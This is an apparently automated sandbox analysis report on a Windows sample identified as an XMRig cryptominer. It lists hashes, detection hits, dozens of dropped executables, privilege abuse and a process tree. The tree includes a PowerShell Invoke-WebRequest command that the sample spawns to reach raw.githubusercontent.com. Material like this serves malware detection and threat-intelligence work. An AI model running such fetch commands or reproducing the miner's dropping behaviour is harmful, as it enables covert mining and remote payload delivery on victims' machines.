xmrig | 7ffdd1b8925f3ff7b1d673fd171ba0e4d0799b38be6b317b846c4e265c66bab9

Analysis

max time kernel
136s
max time network
132s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
09/05/2024, 14:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target

63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
Size

2.7MB
MD5

63374ec78bafc6bc7486edba5bfa1f20
SHA1

765aa42a2085bdb6760dae805b5cf15b2bd1e65a
SHA256

7ffdd1b8925f3ff7b1d673fd171ba0e4d0799b38be6b317b846c4e265c66bab9
SHA512

dc4c1cbfbbc7d91c6c1f25e997a268627d80e009562bcb02b327bb8746b259d97f97c282375c8ba667fd14a000cc47cf5d8994e4383ba633ce0a459df97a33fd
SSDEEP

49152:S1G1NtyBwTI3ySZbrkXV1etEKLlWUTOfeiRA2R76zHrWax9hm6lgVJMVWFT:S1ONtyBeSFkXV1etEKLlWUTOfeiRA2Rt

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 64 IoCs

miner

resource	yara_rule
behavioral2/memory/4420-0-0x00007FF7E6D60000-0x00007FF7E7156000-memory.dmp	xmrig
behavioral2/files/0x000600000002326f-5.dat	xmrig
behavioral2/files/0x00080000000233e4-14.dat	xmrig
behavioral2/files/0x00080000000233e1-35.dat	xmrig
behavioral2/files/0x00070000000233eb-48.dat	xmrig
behavioral2/files/0x00070000000233f0-71.dat	xmrig
behavioral2/files/0x00070000000233e9-69.dat	xmrig
behavioral2/files/0x00070000000233f4-93.dat	xmrig
behavioral2/memory/4372-115-0x00007FF7DBE50000-0x00007FF7DC246000-memory.dmp	xmrig
behavioral2/files/0x00070000000233f7-132.dat	xmrig
behavioral2/memory/2528-138-0x00007FF7B2A20000-0x00007FF7B2E16000-memory.dmp	xmrig
behavioral2/memory/4272-142-0x00007FF6F9DA0000-0x00007FF6FA196000-memory.dmp	xmrig
behavioral2/memory/4828-145-0x00007FF7711A0000-0x00007FF771596000-memory.dmp	xmrig
behavioral2/memory/4132-150-0x00007FF6611B0000-0x00007FF6615A6000-memory.dmp	xmrig
behavioral2/memory/4136-153-0x00007FF786AE0000-0x00007FF786ED6000-memory.dmp	xmrig
behavioral2/memory/1112-152-0x00007FF66E9A0000-0x00007FF66ED96000-memory.dmp	xmrig
behavioral2/memory/5096-151-0x00007FF71F340000-0x00007FF71F736000-memory.dmp	xmrig
behavioral2/memory/1548-149-0x00007FF622380000-0x00007FF622776000-memory.dmp	xmrig
behavioral2/memory/1072-147-0x00007FF7B65E0000-0x00007FF7B69D6000-memory.dmp	xmrig
behavioral2/memory/4540-146-0x00007FF656430000-0x00007FF656826000-memory.dmp	xmrig
behavioral2/memory/3428-144-0x00007FF776A30000-0x00007FF776E26000-memory.dmp	xmrig
behavioral2/memory/3096-143-0x00007FF77BCE0000-0x00007FF77C0D6000-memory.dmp	xmrig
behavioral2/memory/1168-141-0x00007FF75A4E0000-0x00007FF75A8D6000-memory.dmp	xmrig
behavioral2/memory/536-140-0x00007FF6115C0000-0x00007FF6119B6000-memory.dmp	xmrig
behavioral2/memory/4632-139-0x00007FF6484F0000-0x00007FF6488E6000-memory.dmp	xmrig
behavioral2/memory/4804-137-0x00007FF6CF6E0000-0x00007FF6CFAD6000-memory.dmp	xmrig
behavioral2/memory/4304-136-0x00007FF77B590000-0x00007FF77B986000-memory.dmp	xmrig
behavioral2/files/0x00070000000233f8-134.dat	xmrig
behavioral2/files/0x00070000000233f6-127.dat	xmrig
behavioral2/memory/4672-126-0x00007FF7C88B0000-0x00007FF7C8CA6000-memory.dmp	xmrig
behavioral2/files/0x00070000000233f5-124.dat	xmrig
behavioral2/memory/2544-116-0x00007FF65C5E0000-0x00007FF65C9D6000-memory.dmp	xmrig
behavioral2/files/0x00070000000233f3-109.dat	xmrig
behavioral2/files/0x00070000000233f2-107.dat	xmrig
behavioral2/files/0x00070000000233f1-105.dat	xmrig
behavioral2/memory/3760-94-0x00007FF6C2910000-0x00007FF6C2D06000-memory.dmp	xmrig
behavioral2/files/0x00070000000233ea-87.dat	xmrig
behavioral2/files/0x00070000000233ed-85.dat	xmrig
behavioral2/files/0x00070000000233ec-81.dat	xmrig
behavioral2/files/0x00070000000233ef-78.dat	xmrig
behavioral2/memory/2596-76-0x00007FF67CCB0000-0x00007FF67D0A6000-memory.dmp	xmrig
behavioral2/files/0x00070000000233e8-64.dat	xmrig
behavioral2/files/0x00070000000233ee-58.dat	xmrig
behavioral2/files/0x00070000000233e6-41.dat	xmrig
behavioral2/files/0x00070000000233e7-38.dat	xmrig
behavioral2/files/0x00070000000233e5-21.dat	xmrig
behavioral2/memory/3848-16-0x00007FF6EE720000-0x00007FF6EEB16000-memory.dmp	xmrig
behavioral2/files/0x0007000000023412-244.dat	xmrig
behavioral2/files/0x00070000000233f9-240.dat	xmrig
behavioral2/files/0x000700000002341a-277.dat	xmrig
behavioral2/files/0x0007000000023417-283.dat	xmrig
behavioral2/files/0x0007000000023414-281.dat	xmrig
behavioral2/memory/464-380-0x00007FF7F0E20000-0x00007FF7F1216000-memory.dmp	xmrig
behavioral2/files/0x000700000002341e-385.dat	xmrig
behavioral2/files/0x0007000000023441-405.dat	xmrig
behavioral2/files/0x000700000002344e-407.dat	xmrig
behavioral2/files/0x0007000000023453-418.dat	xmrig
behavioral2/files/0x0007000000023450-416.dat	xmrig
behavioral2/memory/4420-2079-0x00007FF7E6D60000-0x00007FF7E7156000-memory.dmp	xmrig
behavioral2/memory/4372-3901-0x00007FF7DBE50000-0x00007FF7DC246000-memory.dmp	xmrig
behavioral2/memory/1168-3946-0x00007FF75A4E0000-0x00007FF75A8D6000-memory.dmp	xmrig
behavioral2/memory/3428-3952-0x00007FF776A30000-0x00007FF776E26000-memory.dmp	xmrig
behavioral2/memory/3096-3957-0x00007FF77BCE0000-0x00007FF77C0D6000-memory.dmp	xmrig
behavioral2/memory/1112-3958-0x00007FF66E9A0000-0x00007FF66ED96000-memory.dmp	xmrig

Blocklisted process makes network request 8 IoCs

flow	pid	Process
3	3132	powershell.exe
5	3132	powershell.exe
7	3132	powershell.exe
8	3132	powershell.exe
10	3132	powershell.exe
11	3132	powershell.exe
13	3132	powershell.exe
19	3132	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
3132	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
3848	NFHmxmK.exe
1548	LQmkWWC.exe
2596	FljdTPk.exe
4132	eKZLqzX.exe
3760	SYvDZnG.exe
4372	oYUOTkl.exe
2544	NsdOZBq.exe
4672	HsvsyJT.exe
4304	SaYxIjo.exe
4804	fOLvhLD.exe
2528	USBiZaR.exe
4632	mArManX.exe
536	TUSFdJX.exe
1168	aYDJpda.exe
4272	GltOkER.exe
5096	RRdzNAh.exe
3096	jeuAjUy.exe
3428	wfeCqxC.exe
4828	nBNQcDB.exe
1112	BkpxzwP.exe
4136	poeblcZ.exe
4540	IRQLPoQ.exe
1072	cuMWfdE.exe
464	RPBKWax.exe
1344	rJpxMyc.exe
3516	XuOiMrf.exe
4328	RjlVCga.exe
3764	pRbRQao.exe
5116	jqEhHMp.exe
1488	jStpERC.exe
4352	HkVMGtN.exe
4940	atjxQlk.exe
1316	WjqiVLe.exe
2608	jvctNLo.exe
348	jzBiOyO.exe
388	CfJrkLW.exe
788	YsoPfDG.exe
412	ChfMsIl.exe
4300	eCvOLhE.exe
1452	zUlkIch.exe
2312	wKClrFD.exe
1956	GZPgGVT.exe
2524	DuPyKYH.exe
4528	AwgOLzM.exe
3024	petJOmb.exe
3048	SWAOuVq.exe
468	YLDrjya.exe
4288	LZOXesg.exe
2044	rCtOjFY.exe
4376	FazwDrW.exe
1440	ZEptkkY.exe
3000	URfgWNE.exe
2456	lbNwDBD.exe
2152	AgjcdAB.exe
3088	tLJBsVR.exe
4796	pbsfauo.exe
2328	GuWRsio.exe
548	TcFZMRg.exe
3596	GPLrufs.exe
2260	sbByHMR.exe
2136	WQfQBEd.exe
3532	XHhdgKF.exe
3696	qUjItvP.exe
1456	xtqfYFF.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4420-0-0x00007FF7E6D60000-0x00007FF7E7156000-memory.dmp	upx
behavioral2/files/0x000600000002326f-5.dat	upx
behavioral2/files/0x00080000000233e4-14.dat	upx
behavioral2/files/0x00080000000233e1-35.dat	upx
behavioral2/files/0x00070000000233eb-48.dat	upx
behavioral2/files/0x00070000000233f0-71.dat	upx
behavioral2/files/0x00070000000233e9-69.dat	upx
behavioral2/files/0x00070000000233f4-93.dat	upx
behavioral2/memory/4372-115-0x00007FF7DBE50000-0x00007FF7DC246000-memory.dmp	upx
behavioral2/files/0x00070000000233f7-132.dat	upx
behavioral2/memory/2528-138-0x00007FF7B2A20000-0x00007FF7B2E16000-memory.dmp	upx
behavioral2/memory/4272-142-0x00007FF6F9DA0000-0x00007FF6FA196000-memory.dmp	upx
behavioral2/memory/4828-145-0x00007FF7711A0000-0x00007FF771596000-memory.dmp	upx
behavioral2/memory/4132-150-0x00007FF6611B0000-0x00007FF6615A6000-memory.dmp	upx
behavioral2/memory/4136-153-0x00007FF786AE0000-0x00007FF786ED6000-memory.dmp	upx
behavioral2/memory/1112-152-0x00007FF66E9A0000-0x00007FF66ED96000-memory.dmp	upx
behavioral2/memory/5096-151-0x00007FF71F340000-0x00007FF71F736000-memory.dmp	upx
behavioral2/memory/1548-149-0x00007FF622380000-0x00007FF622776000-memory.dmp	upx
behavioral2/memory/1072-147-0x00007FF7B65E0000-0x00007FF7B69D6000-memory.dmp	upx
behavioral2/memory/4540-146-0x00007FF656430000-0x00007FF656826000-memory.dmp	upx
behavioral2/memory/3428-144-0x00007FF776A30000-0x00007FF776E26000-memory.dmp	upx
behavioral2/memory/3096-143-0x00007FF77BCE0000-0x00007FF77C0D6000-memory.dmp	upx
behavioral2/memory/1168-141-0x00007FF75A4E0000-0x00007FF75A8D6000-memory.dmp	upx
behavioral2/memory/536-140-0x00007FF6115C0000-0x00007FF6119B6000-memory.dmp	upx
behavioral2/memory/4632-139-0x00007FF6484F0000-0x00007FF6488E6000-memory.dmp	upx
behavioral2/memory/4804-137-0x00007FF6CF6E0000-0x00007FF6CFAD6000-memory.dmp	upx
behavioral2/memory/4304-136-0x00007FF77B590000-0x00007FF77B986000-memory.dmp	upx
behavioral2/files/0x00070000000233f8-134.dat	upx
behavioral2/files/0x00070000000233f6-127.dat	upx
behavioral2/memory/4672-126-0x00007FF7C88B0000-0x00007FF7C8CA6000-memory.dmp	upx
behavioral2/files/0x00070000000233f5-124.dat	upx
behavioral2/memory/2544-116-0x00007FF65C5E0000-0x00007FF65C9D6000-memory.dmp	upx
behavioral2/files/0x00070000000233f3-109.dat	upx
behavioral2/files/0x00070000000233f2-107.dat	upx
behavioral2/files/0x00070000000233f1-105.dat	upx
behavioral2/memory/3760-94-0x00007FF6C2910000-0x00007FF6C2D06000-memory.dmp	upx
behavioral2/files/0x00070000000233ea-87.dat	upx
behavioral2/files/0x00070000000233ed-85.dat	upx
behavioral2/files/0x00070000000233ec-81.dat	upx
behavioral2/files/0x00070000000233ef-78.dat	upx
behavioral2/memory/2596-76-0x00007FF67CCB0000-0x00007FF67D0A6000-memory.dmp	upx
behavioral2/files/0x00070000000233e8-64.dat	upx
behavioral2/files/0x00070000000233ee-58.dat	upx
behavioral2/files/0x00070000000233e6-41.dat	upx
behavioral2/files/0x00070000000233e7-38.dat	upx
behavioral2/files/0x00070000000233e5-21.dat	upx
behavioral2/memory/3848-16-0x00007FF6EE720000-0x00007FF6EEB16000-memory.dmp	upx
behavioral2/files/0x0007000000023412-244.dat	upx
behavioral2/files/0x00070000000233f9-240.dat	upx
behavioral2/files/0x000700000002341a-277.dat	upx
behavioral2/files/0x0007000000023417-283.dat	upx
behavioral2/files/0x0007000000023414-281.dat	upx
behavioral2/memory/464-380-0x00007FF7F0E20000-0x00007FF7F1216000-memory.dmp	upx
behavioral2/files/0x000700000002341e-385.dat	upx
behavioral2/files/0x0007000000023441-405.dat	upx
behavioral2/files/0x000700000002344e-407.dat	upx
behavioral2/files/0x0007000000023453-418.dat	upx
behavioral2/files/0x0007000000023450-416.dat	upx
behavioral2/memory/4420-2079-0x00007FF7E6D60000-0x00007FF7E7156000-memory.dmp	upx
behavioral2/memory/4372-3901-0x00007FF7DBE50000-0x00007FF7DC246000-memory.dmp	upx
behavioral2/memory/1168-3946-0x00007FF75A4E0000-0x00007FF75A8D6000-memory.dmp	upx
behavioral2/memory/3428-3952-0x00007FF776A30000-0x00007FF776E26000-memory.dmp	upx
behavioral2/memory/3096-3957-0x00007FF77BCE0000-0x00007FF77C0D6000-memory.dmp	upx
behavioral2/memory/1112-3958-0x00007FF66E9A0000-0x00007FF66ED96000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
2	raw.githubusercontent.com
3	raw.githubusercontent.com

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\LhzLxLg.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\eSYDIjd.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\TiUPNBj.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\edbXzMA.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\UUBjHry.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\WXXkiUG.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\jJusKTZ.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\iLJDmFb.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\JgwITZz.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\qcvsTkj.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\famxdnp.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\iOtWDJf.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\esEVgcQ.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\lbqGRZC.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\nJPblxy.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\hOkObAR.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\zMsDbRL.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\rtMcFnh.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\zmqsluG.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\jMuaigR.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\TtbyIUD.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\MpzStee.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\brWaeoy.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\qLBbXnJ.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\lwyhgky.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\sApaBIb.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\xqmMJbf.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\kKnsVCg.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\VclplIK.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\XfkuUzv.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\jFvFhuC.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\zXHYcLg.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\PAMTuTF.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\rYApRrN.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\JoqzyGc.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\QaNXpRm.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\rCnlmXW.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\kBCVqXq.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\norBnRZ.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\VVlwBVT.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\rtZLSDL.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\sGhecux.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\DcfDQNT.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\NbheESe.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\WfnpJrs.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\ZEYWkqq.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\bXOYXUc.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\qOQTTeY.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\PGOhneB.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\NfURTtN.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\GwZhvWP.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\prSellX.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\QtPHcRM.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\HqOaUnM.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\efWLYuz.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\lphJjBJ.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\GsvzWSa.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\jYYCffO.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\KuGaguP.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\zqVdGlH.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\gDkhWQz.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\VFskMpt.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\OLgVpMF.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
File created	C:\Windows\System\BwEoRyd.exe	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
3132	powershell.exe
3132	powershell.exe
3132	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3132	powershell.exe
Token: SeLockMemoryPrivilege	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4420 wrote to memory of 3132	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	81
PID 4420 wrote to memory of 3132	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	81
PID 4420 wrote to memory of 3848	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	82
PID 4420 wrote to memory of 3848	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	82
PID 4420 wrote to memory of 2596	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	83
PID 4420 wrote to memory of 2596	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	83
PID 4420 wrote to memory of 1548	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	84
PID 4420 wrote to memory of 1548	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	84
PID 4420 wrote to memory of 4132	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	85
PID 4420 wrote to memory of 4132	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	85
PID 4420 wrote to memory of 3760	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	86
PID 4420 wrote to memory of 3760	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	86
PID 4420 wrote to memory of 4372	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	87
PID 4420 wrote to memory of 4372	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	87
PID 4420 wrote to memory of 2544	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	88
PID 4420 wrote to memory of 2544	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	88
PID 4420 wrote to memory of 4672	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	89
PID 4420 wrote to memory of 4672	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	89
PID 4420 wrote to memory of 2528	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	90
PID 4420 wrote to memory of 2528	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	90
PID 4420 wrote to memory of 4304	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	91
PID 4420 wrote to memory of 4304	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	91
PID 4420 wrote to memory of 1168	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	92
PID 4420 wrote to memory of 1168	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	92
PID 4420 wrote to memory of 4804	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	93
PID 4420 wrote to memory of 4804	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	93
PID 4420 wrote to memory of 4632	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	94
PID 4420 wrote to memory of 4632	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	94
PID 4420 wrote to memory of 536	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	95
PID 4420 wrote to memory of 536	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	95
PID 4420 wrote to memory of 4272	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	96
PID 4420 wrote to memory of 4272	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	96
PID 4420 wrote to memory of 5096	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	97
PID 4420 wrote to memory of 5096	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	97
PID 4420 wrote to memory of 3096	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	98
PID 4420 wrote to memory of 3096	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	98
PID 4420 wrote to memory of 3428	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	99
PID 4420 wrote to memory of 3428	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	99
PID 4420 wrote to memory of 4828	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	100
PID 4420 wrote to memory of 4828	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	100
PID 4420 wrote to memory of 1112	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	101
PID 4420 wrote to memory of 1112	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	101
PID 4420 wrote to memory of 4136	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	102
PID 4420 wrote to memory of 4136	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	102
PID 4420 wrote to memory of 4540	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	103
PID 4420 wrote to memory of 4540	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	103
PID 4420 wrote to memory of 1072	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	104
PID 4420 wrote to memory of 1072	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	104
PID 4420 wrote to memory of 464	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	105
PID 4420 wrote to memory of 464	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	105
PID 4420 wrote to memory of 1344	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	106
PID 4420 wrote to memory of 1344	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	106
PID 4420 wrote to memory of 3516	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	107
PID 4420 wrote to memory of 3516	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	107
PID 4420 wrote to memory of 4328	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	108
PID 4420 wrote to memory of 4328	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	108
PID 4420 wrote to memory of 3764	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	109
PID 4420 wrote to memory of 3764	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	109
PID 4420 wrote to memory of 5116	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	110
PID 4420 wrote to memory of 5116	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	110
PID 4420 wrote to memory of 1488	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	111
PID 4420 wrote to memory of 1488	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	111
PID 4420 wrote to memory of 4352	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	112
PID 4420 wrote to memory of 4352	4420	63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe	112

C:\Users\Admin\AppData\Local\Temp\63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\63374ec78bafc6bc7486edba5bfa1f20_NeikiAnalytics.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4420
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3132
- C:\Windows\System\NFHmxmK.exe
  C:\Windows\System\NFHmxmK.exe
  2⤵
  - Executes dropped EXE
  PID:3848
- C:\Windows\System\FljdTPk.exe
  C:\Windows\System\FljdTPk.exe
  2⤵
  - Executes dropped EXE
  PID:2596
- C:\Windows\System\LQmkWWC.exe
  C:\Windows\System\LQmkWWC.exe
  2⤵
  - Executes dropped EXE
  PID:1548
